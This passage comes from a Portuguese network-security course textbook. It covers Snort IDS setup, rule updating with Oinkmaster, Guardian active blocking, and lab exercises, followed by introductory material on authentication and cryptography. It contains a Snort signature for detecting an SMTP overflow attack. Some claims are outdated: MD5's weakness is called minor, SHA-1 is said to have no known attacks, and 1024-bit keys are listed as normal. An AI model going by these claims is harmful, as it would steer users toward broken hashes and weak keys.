33 Indica o caminho onde os arquivos de regras (assinaturas) se encontram.
22 include $RULE_PATH/<arquivo>.rules
33 Inclui um arquivo de regras.
22 # = comentrio
A configurao do Snort reside no arquivo /etc/snort/snort.conf. Esse arquivo extenso e
contm uma srie de parmetros de configurao do Snort. Para efeito deste curso, sero
vistos alguns parmetros mais importantes. O aluno que desejar se aprofundar mais a respeito dos parmetros de configurao do Snort pode buscar mais informaes no manual
da ferramenta.
11 Variveis (var) configuram parmetros do Snort, como a rede local, a rede externa, os servidores DNS, SMTP, HTTP, SQL, Telnet e SNMP. Configurar esses parmetros pode reduzir

SNMP

significantemente a quantidade de falsos positivos no seu IDS, pois o Snort s alertar

Simple Mail Transfer


Protocol. Protocolo de
envio de mensagens de
correio eletrnico.

quando o destino efetivamente dispor do servio indicado. A seguir alguns exemplos.


22 var HOME_NET [192.168.1.0/24]

Segurana de Redes e Sistemas

22 var SMTP_SERVERS 172.16.1.20

112

22 var EXTERNAL_NET any


11 var RULE_PATH indica o caminho onde os arquivos de regras (assinaturas) se encontram.
11 include $RULE_PATH/<arquivo>.rules inclui um arquivo de regras. Os arquivos de regras
normalmente so divididos por categorias, de modo que seja fcil comentar as linhas correspondentes para desabilitar as regras. Os comentrios so feitos utilizando o caractere
# no incio da linha.

Regras do Snort
11 Regras Sourcefire VRT Certified.

11 Regras Sourcefire VRT (Vulnerability Research Team) Certified.


11 Regras Emerging Threats.
11 Regras Emerging Threats Pro.
Instalando regras:
11 Copiar os arquivos para o diretrio de regras.
11 Referenciar no arquivo snort.conf (include <caminho do arquivo .rule>).
As regras do Snort so um elemento-chave na sua configurao. Sem regras, o Snort torna-se
um mero analisador de pacotes. As regras so linhas de texto contendo instrues para o
Snort localizar pacotes que contenham caractersticas especficas e informaes acerca do
alerta a ser gerado. Abaixo um exemplo de regra, que detecta um ataque especfico para
servidores de correio eletrnico (SMTP).

alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:SMTP


RCPT TO overflow; flow:to_server,established; content:rcpt
to|3A|; nocase; isdataat:300,relative; pcre:/^RCPT TO\x3a\s[^\n]
{300}/ism; reference:bugtraq,2283; reference:bugtraq,9696;
reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;)
Observe as variveis do arquivo snort.conf, as portas envolvidas (25 TCP) e a indicao da
mensagem de alerta (parmetro msg).
As regras instaladas no Snort podem ser habilitadas ou desabilitadas, individualmente ou
em grupo, inserindo comentrios (#) nos arquivos de regra (extenso .rules) ou no prprio
snort.conf, para bloquear um conjunto inteiro de regras. Muitas regras podem gerar muitos
falsos positivos, ento fazer um ajuste das regras uma tarefa cansativa, porm indispensvel para que os registros de alerta sejam confiveis e teis. Um IDS que gera muitos
alertas falsos facilmente acaba em desuso. Existem atualmente diferentes conjuntos de
regras para o Snort, alguns pagos e outros gratuitos.
A seguir uma descrio sobre os conjuntos mais comuns:
11 Regras Sourcefire VRT (Vulnerability Research Team) Certified regras fornecidas pela
Sourcefire, empresa responsvel pelo desenvolvimento do Snort. Necessitam de uma
11 Regras Sourcefire VRT Certified (verso para usurios registrados) regras gratuitas
(snort-rules), fornecidas com defasagem de 30 dias em relao s regras comerciais,
podem ser obtidas mediante registro no stio. As regras se referem a verses especficas
do Snort, portanto verifique a verso instalada antes de baix-las.
11 Regras Emerging Threats regras comunitrias e gratuitas, desenvolvidas por voluntrios.
Apesar de gratuitas, as regras ET so muito eficientes e possuem um elevado ndice de
atualizaes. O diretrio open contm as regras para cada verso do Snort.
11 Regras Emerging Threats Pro verso paga do ET, que custa 500 dlares por ano.
Para instalar um novo conjunto de regras, basta copiar os arquivos para o diretrio de
regras do Snort (normalmente /etc/snort/rules) e referenci-los no arquivo snort.conf
(include <caminho do arquivo .rule>).

Captulo 5 - Deteco e preveno de intrusos

assinatura por parte do usurio.

113

Oinkmaster
Com atualizao automtica de regras, instalado automaticamente no apt-get.

11 Configurao (emerging threats).


Parmetros adicionais:
11 enablesid SID1, SID2.
11 disablesid SID1, SID2.
Conforme foi dito, a atualizao constante de regras fundamental para o bom funcionamento de um IDS. Porm, dependendo do nmero de atualizaes dirias e da quantidade
de sensores, a tarefa de mant-los atualizados pode ficar muito complexa. Com o intuito
de facilitar a atualizao de regras, foi criada uma ferramenta chamada Oinkmaster, que
permite que a atualizao seja feita de forma automtica.
A instalao do Oinkmaster automaticamente realizada junto com o Snort, durante a execuo do comando apt-get install. A configurao da ferramenta bastante simples e consiste
apenas em indicar no arquivo de configurao os parmetros necessrios e instalar um agendamento (cron) no ambiente para executar periodicamente a ferramenta. A seguir, os passos

Cron

para a configurao do Oinkmaster para atualizao das regras do projeto emerging threats.

Sistema de agendamento de tarefas de


um ambiente Unix.

1. Edite o arquivo /etc/oinkmaster.conf e adicione a seguinte linha:

http://www.emergingthreats.net/rules/emerging.rules.tar.gz
Salve o arquivo.
2. Verifique o funcionamento do Oinkmaster, executando-o na linha de comando:

/usr/sbin/oinkmaster C /etc/oinkmaster.conf o <diretrio de sada>


3. Crie um novo diretrio para no misturar os conjuntos de regras (ex: /etc/snort/rules2).
4. Configure o cron para executar o Oinkmaster periodicamente com o comando crontab e.

Exemplo para executar o Oinkmaster todos os dias s 5h30 da manh:

30 5 * * * /usr/sbin/oinkmaster C /etc/oinkmaster.conf o /etc/


snort/rules2
5. necessrio reiniciar o Snort aps a atualizao, ento interessante criar um script para

realizar as duas tarefas e inclu-lo no cron.


6. Adicione os arquivos de regras no seu snort.conf, utilizando as diretivas include

<arquivo.rule>. No se esquea de especificar o caminho completo.

Segurana de Redes e Sistemas

O Oinkmaster possui parmetros extras que podem ser inseridos no arquivo de configu-

114

Saiba mais

rao. Seguem dois parmetros importantes:


11 enablesid SID1, SID2, ... habilita automaticamente a regra identificada pelo SID. Um
SID um nmero nico que identifica uma regra, que pode ser visto no parmetro sid:
presente na linha da regra.
11 disablesid SID1, SID2, ... desabilita automaticamente a regra identificada pelo SID.

Mais informaes sobre


o funcionamento do
Oinkmaster podem
ser obtidas no documento Installing and
configuring OinkMaster,
de Patrick Harper.

Guardian: um Snort reativo


O Guardian um script na linguagem Perl, que insere temporariamente regras de

bloqueio em um firewall, a partir dos alertas gerados pelo Snort. Atravs do Guardian,
a instalao de Snort passa a ter uma caracterstica reativa.
O Guardian no instalado automaticamente na distribuio e deve ser baixado e instalado
manualmente. Os passos a seguir instalam o Guardian e o integram com o firewall Iptables:
11 Baixe a ltima verso do Guardian Active Response for Snort e o descompacte.
11 Copie o arquivo de configurao do Guardian para o diretrio /etc.
11 Edite o arquivo e ajuste os seguintes parmetros:
22 Interface interface onde sero bloqueados os pacotes maliciosos. Ajuste para a sua
interface externa.
22 HostGatewayByte ltimo octeto do endereo IP do gateway.
22 AlertFile local do arquivo de alertas do Snort.
11 Crie o arquivo /etc/guardian.ignore e inclua nele os endereos IP que sero ignorados
(um por linha).
11 Crie o arquivo /etc/guardian.target e inclua nele os endereos IP da mquina atual.
11 Copie o arquivo guardian.pl para o diretrio /usr/local/bin.
11 Copie os scripts de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretrio.
22 cp scripts/iptables_unblock.sh /usr/local/bin/guardian_unblock.sh
22 cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh
11 Execute o Guardian com o seguinte comando:

/usr/local/bin/guardian.pl c /etc/guardian.conf

Snort-inline
Modo especial de funcionamento do Snort, integrado com o firewall Iptables/netfilter

(snort como IPS). Funcionamento:

11 Pacotes recebidos pelo Iptables so encaminhados para uma fila.


11 Snort-inline decide pelo encaminhamento.

Snort-inline um modo especial de funcionamento do Snort, integrado com o firewall Iptables/


uma fila (queue), para ser processado pelo Snort-inline, que pode descartar pacotes de acordo
com as suas regras, de modo que o pacote no passado adiante pelo processo de roteamento
do firewall. Opcionalmente podem ser gerados registros e alertas correspondentes.
Assim como qualquer IPS, a implementao do Snort-inline deve ser realizada com
cuidado, pois caso a mquina onde se encontra o IPS fique sobrecarregada, ela pode
impactar no desempenho da rede ou at tornar indisponvel o segmento de rede
atrs do IPS.
Um dos principais usos no Snort-inline consiste no Projeto Honeynet (Honeynet Project).
Ele foi utilizado como componente principal do honeywall roo. Uma honeynet consiste em
uma rede com servidores especialmente construdos com o objetivo de atrair atacantes

Captulo 5 - Deteco e preveno de intrusos

netfilter para funcionar como um IPS. Cada pacote recebido pelo Iptables encaminhado para

115

para a honeynet (da o honey, mel em ingls). Dessa forma, um pesquisador de segurana
consegue aprender com as tcnicas empregadas pelo atacante. Uma honeynet um tpico
avanado e deve ser utilizada apenas por administradores experientes.
Os responsveis pelo projeto Snort-inline passaram a investir em um novo IDS/IPS open
source, chamado suricata. Apesar de recente, ele possui objetivos ambiciosos, podendo vir

w
Mais informaes sobre
o projeto Honeynet
podem ser encontradas
em: http://www.
honeynet.org/

a ser um novo padro em IDS/IPS open source. As regras Emerging Treats tambm esto
disponveis para o Suricata da Open Information Security Foundation (OISF).

Bro Intrusion Detection System


O Bro IDS um projeto open source de um sistema de deteco de intrusos baseado em
rede. Forte concorrente do Snort, ele monitora de forma passiva o trfego de rede em busca
de atividades suspeitas. A sua anlise inclui a deteco de ataques especficos (inclusive os
definidos pelas assinaturas, mas tambm aqueles definidos em termos de eventos) e ativi-

dades incomuns (por exemplo, certo host conectar a determinados servios ou falhas em
tentativas de conexo).

Saiba mais

Se o Bro detectar algo de interesse, pode ser configurado para gerar uma entrada de log,
alertar o operador em tempo real, executar um comando do sistema operacional (por
exemplo, para finalizar a conexo ou bloquear um host malicioso on-the-fly). Alm disso, os
arquivos de log detalhados do Bro podem ser facilmente utilizados pela cincia forense.
Para que esse aplicativo funcione corretamente, ser necessrio instalar os seguintes
componentes na mquina Linux: Libpcap, Flex, Bison ou byacc, cabealhos e bibliotecas do
BIND8, Autotools, OpenSSL, Libmagic, Libz, GnuPG, LibGeopIP e Google Perftools.

HIDS
Existem diversas ferramentas que realizam deteco de intrusos com base em hosts.
Podemos citar algumas, disponveis na internet:
11 OSSEC: ferramenta bastante completa de HIDS, capaz de realizar anlise de logs,
verificao de integridade de arquivos, monitoramento de polticas, deteco de
rootkits e alertas em tempo real, entre outros. Disponvel para plataformas como
Linux, MacOS, Solaris, HP-UX, AIX e Windows.
11 SAMHAIN: HIDS que prov verificao de integridade de arquivos e anlise e monitoramento de arquivos de log. Ele foi projetado para monitorar mltiplas mquinas com
diferentes sistemas operacionais, provendo registros centralizados e gerenciados.
11 Tripwire: ferramenta antiga de monitoramento de integridade de arquivos, muito
usada para verificar se os arquivos de um sistema operacional foram modificados,
o que pode ser um indcio de comprometimento do servidor.

Segurana de Redes e Sistemas

11 Osris: ferramenta de monitoramento de alteraes em mquinas capaz de moni-

116

torar mudanas no sistema de arquivos, lista de usurios e grupos e mdulos de


kernel. Suporta plataformas como Linux, BSD, Windows, AIX, Solaris e MacOS.
Atua de forma centralizada, monitorando mudanas em diversas mquinas.

Outro projeto interessante de IPS o HLBR,


desenvolvido no
Brasil disponvel no
sourceforge.

Roteiro de Atividades 5
Atividade 1 Configurao bsica do Snort
Configure o Snort na mquina gateway (FWGW1), e teste a sua configurao utilizando a
ferramenta Nmap.
Passo 1

Instale o Nmap no host Windows XP.

Passo 2

No host FWGW1, atualize a base de pacotes do apt-get com o repositrio da


internet e instale o Snort:

# apt-get update
# apt-get install snort
Quando for questionado pelo processo de instalao do Snort, defina como
Address Range Local: 172.16.G.0/24,10.1.G.0/24
Passo 3

Por padro, o apt-get configura o Snort para iniciar automaticamente apenas


na interface eth0; para esta atividade vamos iniciar o Snort na interface eth1,
que interliga com o host Windows XP. Para isso use o comando:

# /etc/init.d/snort start eth1


Passo 4

No host Windows XP, realize um scan na rede DMZ para encontrar todos os
servios publicados.

Passo 5

No host FWGW1, verifique os logs gerados no Snort:

Ou:

# tail f /var/log/snort/alert

Captulo 5 - Roteiro de Atividades

# cat /var/log/snort/alert

117

Atividade 2 Atualizao de regras


Configure o Oinkmaster para atualizar automaticamente as regras, uma vez por hora.
Utilize as regras Emerging Threats.
Desafio: voc consegue configurar o Oinkmaster para atualizar as regras VRT? Ser necessrio se registrar no site do Snort e obter um Oinkcode. Pesquise na internet se possvel
utilizar o Oinkmaster para atualizar mais de um conjunto de regras.
Passo 1

No host FWGW1, edite o arquivo de configurao do Oinkmaster a adicione


a URL sugerida no texto.

# vi /etc/oinkmaster.conf
URL = http://www.emergingthreats.net/rules/emerging.rules.
tar.gz
No se esquea de comentar a linha URL:
http://www.snort.org/dl/rules/snortrules-snapshot-2.2.tar.gz
Passo 2

No host FWGW1, teste a configurao do Oinkmaster realizada no passo anterior:

# mkdir /etc/snort/rules2
# /usr/sbin/oinkmaster -C /etc/oinkmaster.conf -o /etc/
snort/rules2
Inclua o parmetro abaixo no arquivo /etc/snort/snort.conf:

include /etc/snort/rules2/emerging.rules
Passo 3

Crie um script para automatizar a execuo do Oinkmaster e para reiniciar


o Snort sempre que baixar uma nova verso das assinaturas.
Sugesto: crie o script no diretrio de scripts de inicializao de processos do
Debian: /etc/init.d/.
Automatize a execuo do script recm-criado utilizando o crontab.
Exemplo:

# vi /root/atualiza_regras.sh
!#/bin/bash

# Processo de baixar as novas regras


/usr/sbin/oinkmaster C /etc/oinkmaster.conf o /etc/snort/
rules2
# Reinicia o Snort
/etc/init.d/snort stop eth1
/etc/init.d/snort start eth1

Segurana de Redes e Sistemas

Agora vamos dar permisso de execuo do script criado acima:

118

# chmod +x /root/atualiza_regras.sh
Passo 4

Teste a configurao do script recm-criado.

# /root/atualiza_regras.sh

Atividade 3 Bloqueio automtico no firewall


Configure o Guardian para bloquear automaticamente os pacotes com destino ao firewall,
conforme descrito na parte terica. Utilize o Nmap para testar o bloqueio.
Desafio: existe alguma ferramenta para teste de IDS? Verifique na internet e tente instalar
para testar o Snort.
Passo 1

No host FWGW1, baixe o Guardian Active Response for Snort do endereo

# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz
# tar xvzf guardian-1.7.tar.gz
# cd guardian-1.7
Passo 2

Copie o arquivo de configurao do Guardian para o diretrio /etc e edite o


arquivo, ajustando os parmetros:
InterfaceHostGatewayByteAlertFile
Obs.: Para este atividade no existe a necessidade de alterar os parmetros acima.

Passo 3

Crie o arquivo /etc/guardian.ignore e inclua nele os endereos IP que sero


ignorados (um por linha) e crie o arquivo /etc/guardian.target e inclua nele
os endereos IP da mquina atual.

Passo 4

Copie o arquivo guardian.pl para o diretrio /usr/local/bin. Copie os scripts


de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretrio.

# cp guardian.pl /usr/loca/bin
# cp scripts/iptables_unblock.sh /usr/local/bin/guardian_
unblock.sh
# cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh
Passo 5

Execute o Guardian com o seguinte comando:

# /usr/local/bin/guardian.pl c /etc/guardian.conf

Atividade 4 Criando uma regra personalizada do Snort


O objetivo desta atividade demonstrar como pode ser criada uma regra customizada
do Snort. Neste exemplo, vamos criar uma regra que vai alertar sempre que um usurio
acessar o You Tube.
Passo 1

No host FWGW1, crie o arquivo /etc/snort/rules/yutube.rules com o seguinte


contedo:

alert tcp any any -> any any (content:www.youtube.com;


msg:Acesso ao Youtube; sid:100002; rev:1;)
Adicione a nova regra ao arquivo de configurao do Snort. Para isso, edite o
arquivo /etc/snort/snort.conf e insira no final a seguinte linha:

include $RULE_PATH/youtube.rules
Passo 4

Reinicie o Snort:

/etc/init.d/snort restart eth1


Passo 5

Como no temos uma porta espelhada no switch para instalao do Snort,


vamos gerar o acesso a partir da mquina LinServer. Para isso, execute:

# apt-get install lynx


# lynx www.youtube.com
Passo 6

Acesse o log do Snort em /var/log/snort/alert e veja o funcionamento da regra.

Captulo 5 - Roteiro de Atividades

Passo 2

119

120

Segurana de Redes e Sistemas

6
Conhecer em detalhes o processo de identificao de usurios, autenticao,
autorizao e auditoria.

conceitos

Sistema AAA, criptografia, certificados digitais, gerenciamento de senhas, sistemas


de autenticao nica, servidores de diretrio LDAP e sistemas de autorizao.

Introduo
O processo de identificao de usurios, autenticao, autorizao e auditoria fundamental para garantir a segurana de aplicaes e servios, de modo que somente usurios
previamente cadastrados, identificados e autenticados podem ter acesso aos recursos
computacionais que lhes foram autorizados pelo responsvel.
Para nivelar o conhecimento e permitir o entendimento de alguns assuntos, sero apresentados conceitos bsicos sobre criptografia e certificao digital.

Exerccio de nivelamento 1 e
Autenticao e autorizao
O que voc entende como processo de identificao, autenticao, autorizao e auditoria?

Sistema AAA
11 Autenticao (Authentication)
22 Mecanismo de identificao do usurio.
11 Autorizao (Authorization)
22 Mecanismo de validao de privilgios.

Captulo 6 - Autenticao, Autorizao e Certificao Digital

objetivos

Autenticao, Autorizao
e Certificao Digital

121

11 Auditoria (Account)

22 Mecanismo de gerar registros das aes do usurio.


O processo de controlar o acesso, garantindo que a origem dos dados a de quem alega ser,
um dos objetivos da autenticao. Garantir o uso autorizado de recursos e o registro de
todas as atividades dentro de um sistema so tarefas dos sistemas conhecidos por: Autenticao, Autorizao e Auditoria (AAA). Nesta sesso, sero apresentados os protocolos e
tcnicas para trabalhar com cada um desses As.

Autenticao
Algo que voc sabe:

11 Mecanismo de senhas e suas variaes


22 OTP, Passphrases etc.
11 O mais simples de implementar.
11 O menos seguro, por limitao do usurio.
Algo que voc tem:
11 Smartcards, chips, token etc.
Algo que voc :
11 Biometrias
22 Impresso digital, formato da ris, voz, face etc.
A autenticao um processo que tem por objetivo garantir que um usurio realmente
quem diz ser. Esse um processo bsico e fundamental quanto tratamos de segurana de
sistemas e servios, pois basta um usurio usurpar as credenciais de outro usurio que
possui maiores privilgios para ser gerado um grave incidente de segurana. O processo de
autenticao em geral se baseia em trs princpios bsicos para permitir ao usurio provar a
sua autenticidade. So eles:
Algo que voc sabe
Nesse princpio, o sistema solicita ao usurio que informe algo que somente aquele usurio
sabe. O exemplo mais comum desse princpio so as senhas e suas variaes (OTP e
passphrases). Apesar de ser o mais barato de implementar, pois pode ser implementado
inteiramente via software, em geral o menos seguro, pois um atacante pode tentar adivinhar a senha de um usurio. Como o crebro humano limitado, os usurios tendem a
escolher senhas fceis de lembrar.
Algo que voc tem
Aqui o usurio deve apresentar algo para o sistema que lhe foi dado no momento em que
Segurana de Redes e Sistemas

se registrou para obter acesso ao sistema. Dessa forma, ao reapresentar o mesmo objeto, o
usurio estaria comprovando que realmente quem diz ser. Normalmente, so combinados
com uma senha (chamada de PIN), de modo que no possa ser usado caso seja roubado.
Nessa categoria, so muito comuns os smartcards, chips e tokens. So considerados mais
seguros que o primeiro, pois para um usurio se passar por outro, deve obter o objeto que o
identifica e a senha correspondente.
Algo que voc
Essas so consideradas as formas mais seguras de autenticao, pois envolvem uma caracterstica intrnseca ao usurio. Em geral so chamadas de biometrias.
122

Alguns exemplos: impresses digitais, formato da ris, voz, face etc. Apesar de consideradas
seguras, devem ser utilizadas de forma cuidadosa, pois o seu uso indiscriminado pode criar
uma falsa sensao de segurana. Um leitor de impresses digitais pode ser enganado com
uma impresso digital falsa, caso no tenha um dispositivo que garanta que o dedo em
questo vivo. Ou o mesmo leitor, caso esteja controlando uma porta, pode ser arrancado
do seu lugar e a porta aberta por uma mera juno de dois fios.

Autorizao
O usurio obtm acesso somente aos recursos previamente definidos pelo gestor do
sistema. A autorizao corresponde a um processo seguinte autenticao, onde o usurio
obtm acesso aos recursos de acordo com o nvel de acesso que lhe foi designado por um
administrador ou gestor. Dessa forma, uma vez corretamente identificado, o usurio pode
ter acesso a determinados recursos.

Auditoria
A auditoria por fim corresponde ao processo de verificao contnua se os acessos concedidos esto corretos e se no h acessos indevidos. Normalmente temos um auditor
que periodicamente verifica as trilhas de auditoria, que so registros feitos pelos sistemas
de autenticao e autorizao, contendo todos os acessos realizados pelos usurios do
ambiente. Atravs de um processo consistente de AAA, podemos ter um ambiente com
um nvel de segurana adequado, sem comprometer a integridade, a confidencialidade e a
disponibilidade dos sistemas.
Nos itens a seguir, estaremos considerando a autenticao com base em senhas, visto que
a autenticao mais comum e possvel de se implementar via software.

Exerccio de fixao 1 e
Sistema AAA

O que autorizao?

Criptografia
11 Simtrica: tambm conhecida por criptografia convencional.
11 Assimtrica: criptografia por chaves pblica e privada.
11 Algoritmo de Hash: os cinco fundamentos para um bom algoritmo de Hash.
Esconder seus segredos sempre foi um dos grandes desafios da humanidade. Os antigos
generais precisavam transmitir informaes para seus exrcitos sem o perigo de ter suas
mensagens interceptadas e traduzidas pelo inimigo. O uso da criptografia apareceu, possivelmente, nas primeiras guerras da antiguidade e seu primeiro relato de uso na histria

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Quais so os princpios bsicos em que se baseia o processo de autenticao em geral?

atribudo a Cesar, imperador de Roma.


123

Basicamente, um processo criptogrfico envolve a aplicao de trs conceitos elementares:


a mensagem/texto, o algoritmo e a chave. A mensagem consiste, pura e simplesmente, na
informao que se deseja transmitir de forma segura; o algoritmo a forma que ser utilizada para cifrar e decifrar uma mensagem; e a chave, em alguns modelos computacionais,
pode ser entendida como o segredo compartilhado que deve ser conhecido apenas pelas
duas partes envolvidas no processo de comunicao. A garantia da confidencialidade est
em esconder do atacante o algoritmo ou a chave utilizada.
Um esquema de codificao criptogrfica consiste em uma tupla (M, C, K, E e D) com as
seguintes propriedades:
11 M um conjunto conhecido como espao de texto comum (plaintext).
11 C um conjunto conhecido como espao de texto cifrado (ciphertext).
11 K um conjunto conhecido como espao de chave.
11 E uma famlia de funes de codificao criptogrficas tal que Ek: MgC
11 D uma famlia de funes de decodificao criptogrficas tal que Dk: CgM
O algoritmo criptogrfico define a forma como a mensagem ser cifrada e decifrada.
A definio prvia do algoritmo pelas partes envolvidas (transmissor e receptor) um dos
fatores fundamentais no processo de comunicao seguro.
Os algoritmos criptogrficos podem ser divididos em dois grandes grupos: algoritmos simtricos ou de chave secreta e algoritmos assimtricos ou de chave pblica.

Criptografia simtrica
Utiliza a mesma chave para criptografar e descriptografar uma informao.

Vantagens:
11 Velocidade e algoritmos rpidos.
11 Facilidade de implementao em hardware.
11 Chaves pequenas e simples geram cifradores robustos.
Desvantagens:
11 Dificuldade do gerenciamento das chaves.
11 No permite a autenticao.
11 No permite o no repdio do remetente.
A criptografia simtrica utiliza a mesma chave para criptografar e descriptografar uma
informao. Essa chave tem de ser compartilhada entre o emissor e o receptor da informao. Entretanto, o uso de criptografia simtrica dificulta o gerenciamento de chaves e no

Segurana de Redes e Sistemas

permite a autenticao e o no repdio do remetente.


Imagine a seguinte situao: um usurio A deseja conversar de forma criptografada com um
usurio B. Para tal, ele precisa de um algoritmo e de uma chave. Se ele usa criptografia simtrica,
a chave para A cifrar a mensagem e B decifrar a mesma. Agora imagine que A deseja conversar
com um usurio C. Para essa nova conversa, haveria a necessidade de uma nova chave, pois se A
usar a mesma chave que usa com B, o prprio B poderia decifrar as mensagens. Dessa forma, se
estivermos conversando com 100 pessoas, necessitaramos de 100 chaves diferentes. Rapidamente percebemos que a soluo de criptografia simtrica no estende bem, pois quando crescemos o nmero de usurios envolvidos, a gerncia das chaves se torna invivel. Para procurar
resolver esse problema de gerenciamento de chaves, foi criada a criptografia assimtrica.
124

Criptografia assimtrica

11 Gerenciamento de chaves.
11 Implantao de no repdio do remetente.
11 Pode ser utilizada para garantir a confidencialidade, a autenticidade ou ambos.
11 A principal desvantagem o desempenho, pois muito mais lenta que a
criptografia simtrica.
A criptografia assimtrica uma forma de criptossistema em que a criptografia e a des-

criptografia so realizadas via diferentes chaves: uma chave pblica e uma chave privada.
Ela tambm conhecida como criptografia de chave pblica. A criptografia assimtrica
transforma o texto claro em texto cifrado usando uma de duas chaves e um algoritmo de
criptografia. Usando a outra chave associada e um algoritmo de descriptografia, o texto
claro recuperado a partir do texto cifrado.
Chave privada
de Beto

texto claro

texto cifrado

texto claro

Dessa forma, a criptografia assimtrica pode ser utilizada para garantir a confidencialidade,
a autenticidade ou ambos. O criptossistema mais utilizado atualmente o RSA, sendo
envolvido o conceito de nmeros primos, de modo que difcil de explorar, pela complexidade de se encontrar nmeros primos de um nmero composto.
A criptografia assimtrica tem como desvantagem o desempenho, pois muito mais lenta
que a criptografia simtrica. Se usssemos criptografia assimtrica em todas as transaes
criptogrficas, teramos perda de desempenho bastante significativa. Dessa forma, o mais
comum utilizar de uma forma combinada as duas tcnicas:
1. Uma chave simtrica, inteiramente randmica, criada e os dados so cifrados

com essa chave.


2. A chave simtrica em si cifrada com a chave pblica do destinatrio.
3. O conjunto chave e mensagem enviado ao destinatrio.
4. O destinatrio decifra a chave simtrica (chamada de chave de sesso) utilizando

sua chave privada.


5. Com a chave simtrica em mo, o destinatrio decifra o resto da mensagem.

Tamanho das chaves


Algoritmos assimtricos utilizam os tamanhos de chave:
11 1024 bits.
11 2048 bits.
11 4096 bits.

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Figura 6.1
Criptografia
assimtrica.

Chave pblica
de Beto

125

Algoritmos simtricos utilizam tamanhos menores:


11 128 bits.
11 256 bits.
Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento
da poca e do custo mdio para se quebrar uma chave.

Em geral, os algoritmos assimtricos utilizam tamanhos de chave (1024, 2048 ou 4096 bits)
muito maiores que os algoritmos simtricos (128, 256 bits), pois o comprometimento de uma
chave de sesso invalida apenas uma transao, porm o comprometimento de uma chave
assimtrica invalida todas as transaes daquele usurio. Os tamanhos de chave costumam
variar, de acordo com a capacidade de processamento da poca e do custo mdio para se
quebrar uma chave. Atualmente o algoritmo simtrico recomendado o AES-256, que utiliza
chaves de 256 bits.

Algoritmos Hash
Algoritmos Hash so funes criptogrficas conhecidas como one-way. Essas funes
possuem como entrada mensagens de tamanho varivel e a sada de tamanho fixo.
Uma mensagem de entrada, sempre que for submetida anlise da funo Hash vai
gerar a mesma sada.
Mensagem
(tamanho arbitrrio)

Funo de hash de uma s via

Figura 6.2
Funo Hash
(Fonte: Cert RS).

Valor do hash
(tamanho xo)

O principal propsito da funo Hash criar uma impresso digital de um arquivo,


mensagem ou bloco de dados.
Um algoritmo Hash pode ser considerado forte quando:

One-Way
11 A partir do resultado da funo Hash, no possvel descobrir a mensagem de
entrada, de tamanho arbitrrio. Tambm conhecido como algoritmo de uma s via.
Fraca resistncia coliso
11 Quando computacionalmente for impossvel encontrar uma segunda entrada diferente de uma primeira entrada conhecida e as duas sadas forem iguais.
Forte resistncia coliso
11 Quando computacionalmente for impossvel encontrar um par de entradas diferentes
com a mesma sada.

Segurana de Redes e Sistemas

Algoritmos Hash mais difundidos:

126

MD5
Funo de Hash de uma s via, inventada por Ron Rivest, do MIT, que tambm trabalha para
a Indstria RSA de Segurana de Dados. O algoritmo MD (Message Digest) produz um valor
de Hash de 128-bit para um tamanho arbitrrio da mensagem inserida. Foi primeiramente
proposto em 1991, depois de alguns ataques de criptoanlise descobertos contra a funo
de Hash de uma s via, utilizada no MD4 de Rivest. O algoritmo foi projetado para velocidade, simplicidade e segurana. claro que os detalhes do algoritmo so pblicos e foram
analisados por diversos criptgrafos.

Uma fraqueza foi descoberta em alguma parte do MD5, mas no afetou a segurana global
do algoritmo. Porm, o fato de ele s produzir um valor de Hash de 128-bit inquietante;
prefervel uma funo de Hash de uma s via, que produza um valor mais longo.

SHA
Funo de Hash de uma s via, desenvolvida pelo NIST (National Institute of Standards and
Technology). Produz um valor de Hash de 160-bit de um tamanho arbitrrio da mensagem.
O SHA uma funo Hash baseada na funo Hash MD4. Porm, a fraqueza na parte do
algoritmo MD5 mencionada ainda no foi possvel de aplicar contra o SHA. Acredita-se que
o SHA no possui essa vulnerabilidade. Atualmente, no existe forma conhecida de ataque
criptoanaltico contra o SHA, com exceo do ataque de fora bruta. Seu valor de 160-bits
torna o ataque de fora bruta ineficiente. claro que no existe prova de que algum no
possa quebrar o SHA no futuro prximo ou mesmo quando esse material estiver sendo lido.

Modos de operao de algoritmos criptogrficos


Outra questo importante acerca de criptografia so os modos de operao. Em especial,
temos os modos de operao em bloco e os modos de operao em stream. A operao em
bloco divide os dados em conjuntos de tamanho fixo (chamados de blocos). Esses blocos so
combinados com repeties da chave para gerar o texto cifrado, muitas vezes utilizando a
operao matemtica XOR. Apesar de til para a cifragem de arquivos, uma cifragem de bloco
no adequada para a transmisso de dados cifrados de forma contnua, como, por exemplo,

Para conhecer mais


sobre cada modo de
operao, consulte o
livro Applied
Criptography,
de Bruce Schneier.

aguardar um bloco ser completado para fazer a cifragem, o que reduzir o desempenho.
As cifragens de bloco podem ter vrios modos de operao, cada um com suas vantagens e
desvantagens. So eles: Electronic Codebook (ECB), Cipher-block Chaining (CBC), Propagating
Cipher-Block Chaining (PCBC), Cipher Feedback (CFB), Output Feedback (OFB) e Counter (CTR).
Dessa forma, em aplicaes em que temos pressa em enviar os dados, usamos o stream
cipher, que realiza a cifragem a nvel de bit, de modo que no h a necessidade de aguardar
a formao de um bloco. Alguns exemplos de cifragem stream so RC4 e A5/1 (usado em
redes GSM de telefonia celular).
A seguir veremos algumas aplicaes de criptografia bastante utilizadas.

Exerccio de fixao 2 e
Criptografia
Explique a criptografia assimtrica.

Exerccio de fixao 3 e
Algoritmos Hash
O que so e para que servem os algoritmos hash?

Captulo 6 - Autenticao, Autorizao e Certificao Digital

Saiba mais

uma conexo VPN ou uma transmisso de vdeo, pois numa cifra de bloco o algoritmo teria de

127

Certificados digitais
O corao da especificao do esquema X.509 a associao de certificados de chaves
pblicas a cada usurio do diretrio. Esses certificados digitais devem ser gerados por uma
Autoridade Certificadora (AC) confivel e armazenados no servidor de diretrio. Esse armazenamento pode ser feito pelo AC e pelo usurio. Dessa forma, o servidor de diretrio no
responsvel pela criao desses certificados de chave pblica, mas apenas prov fcil acesso
aos certificados de usurios.

Obtendo certificado de usurio


